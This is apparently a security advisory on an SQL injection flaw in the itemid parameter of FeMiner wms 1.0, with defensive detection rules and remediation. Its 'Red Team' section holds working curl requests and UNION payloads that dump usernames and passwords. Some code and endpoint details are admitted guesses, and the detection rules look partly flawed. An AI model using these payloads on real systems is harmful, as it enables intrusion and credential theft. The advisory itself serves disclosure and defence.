CVE-2025-25993

Executive Summary

CVE-2025-25993 is a critical SQL Injection vulnerability in FeMiner wms version 1.0. The flaw resides in the itemid parameter, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. Successful exploitation can lead to unauthorized access to sensitive database information, including user credentials, session tokens, and application data. The vulnerability is publicly known, with proof-of-concept details available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains high due to the simplicity of exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone PHP application (FeMiner wms). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and provides direct access to sensitive data.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the itemid parameter, likely within a GET request to a page such as item.php or view.php. The application fails to sanitize or parameterize user input before constructing SQL queries. An attacker can inject SQL metacharacters (e.g., single quote ') to break out of the intended query context and execute arbitrary SQL statements.

Example vulnerable code snippet (conceptual):

$id = $_GET['itemid'];
$query = "SELECT * FROM items WHERE id = '$id'";
$result = mysqli_query($conn, $query);

The attacker can supply a payload like:

itemid=1' OR '1'='1

This would result in the query:

SELECT * FROM items WHERE id = '1' OR '1'='1'

Returning all rows from the items table.

More advanced exploitation can use UNION-based injection to extract data from other tables, such as users or config.

Vulnerable vs. Patched Code

Vulnerable Code (FeMiner wms 1.0):

// item.php
$itemid = $_GET['itemid'];
$sql = "SELECT * FROM items WHERE id = '$itemid'";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual – No official patch):

// item.php
$itemid = intval($_GET['itemid']); // Cast to integer
$sql = "SELECT * FROM items WHERE id = $itemid";
$result = mysqli_query($conn, $sql);

Or using prepared statements:

$stmt = $conn->prepare("SELECT * FROM items WHERE id = ?");
$stmt->bind_param("i", $itemid);
$stmt->execute();

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running FeMiner wms 1.0.
• Network access to the web application.

Exploitation Steps:

1. Identify the vulnerable parameter: Send a request with a single quote to trigger an error.

   curl "http://target.com/item.php?itemid=1'"
   

   If a SQL error is returned, the parameter is injectable.

2. Determine the number of columns:

   curl "http://target.com/item.php?itemid=1 ORDER BY 1--"
   curl "http://target.com/item.php?itemid=1 ORDER BY 2--"
   # Continue until error
   

3. Extract database information using UNION:

   curl "http://target.com/item.php?itemid=-1 UNION SELECT 1,2,3,4--"
   

   Replace column numbers with actual data extraction queries.

4. Dump user credentials:

   curl "http://target.com/item.php?itemid=-1 UNION SELECT 1,username,password,4 FROM users--"
   

Proof-of-Concept Payload:

itemid=1' AND 1=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing SQL metacharacters (', ", --, #, /*) in the itemid parameter.
• Look for abnormal response sizes or SQL error messages in HTTP responses.
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Hunting:

• Search for requests with itemid containing UNION, SELECT, OR, AND in uppercase or mixed case.
• Correlate with database error logs for failed queries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /item.php or similar endpoints with itemid parameter containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File IOCs:
  • Modified PHP files (e.g., item.php) if attacker uploads a webshell.
  • Suspicious files in web root (e.g., cmd.php, shell.php).
• Log IOCs:
  • Web server logs showing 400 or 500 errors with SQL syntax in the request.
  • Database logs showing queries with UNION, OR 1=1, or -- comments.

Detection Engineering

YARA Rule

rule CVE_2025_25993_SQLi_FeMiner {
    meta:
        description = "Detects SQL injection attempts targeting FeMiner wms itemid parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-25993"
    strings:
        $sqli1 = "itemid=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "UNION SELECT" nocase
        $sqli4 = "1=1" nocase
        $sqli5 = "--" nocase
    condition:
        all of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-25993 SQL Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against FeMiner wms itemid parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'itemid='
            - "'"
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in search parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25993 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"itemid="; http_uri; pcre:"/(\x27|UNION|SELECT|OR\s+1=1|--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the FeMiner wms offline until a patch is applied.
2. Apply virtual patching: Use a WAF to block SQL injection patterns in the itemid parameter.
3. Input validation: Implement server-side validation to only allow numeric values for itemid.
4. Parameterized queries: Rewrite all database queries using prepared statements (PDO or MySQLi).

Long-term Fix:

• The vendor must release an official patch. In the absence of a patch, consider migrating to an alternative WMS solution.
• Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

• Modify the PHP code to cast itemid to an integer:

  $itemid = (int)$_GET['itemid'];
  

Valters IT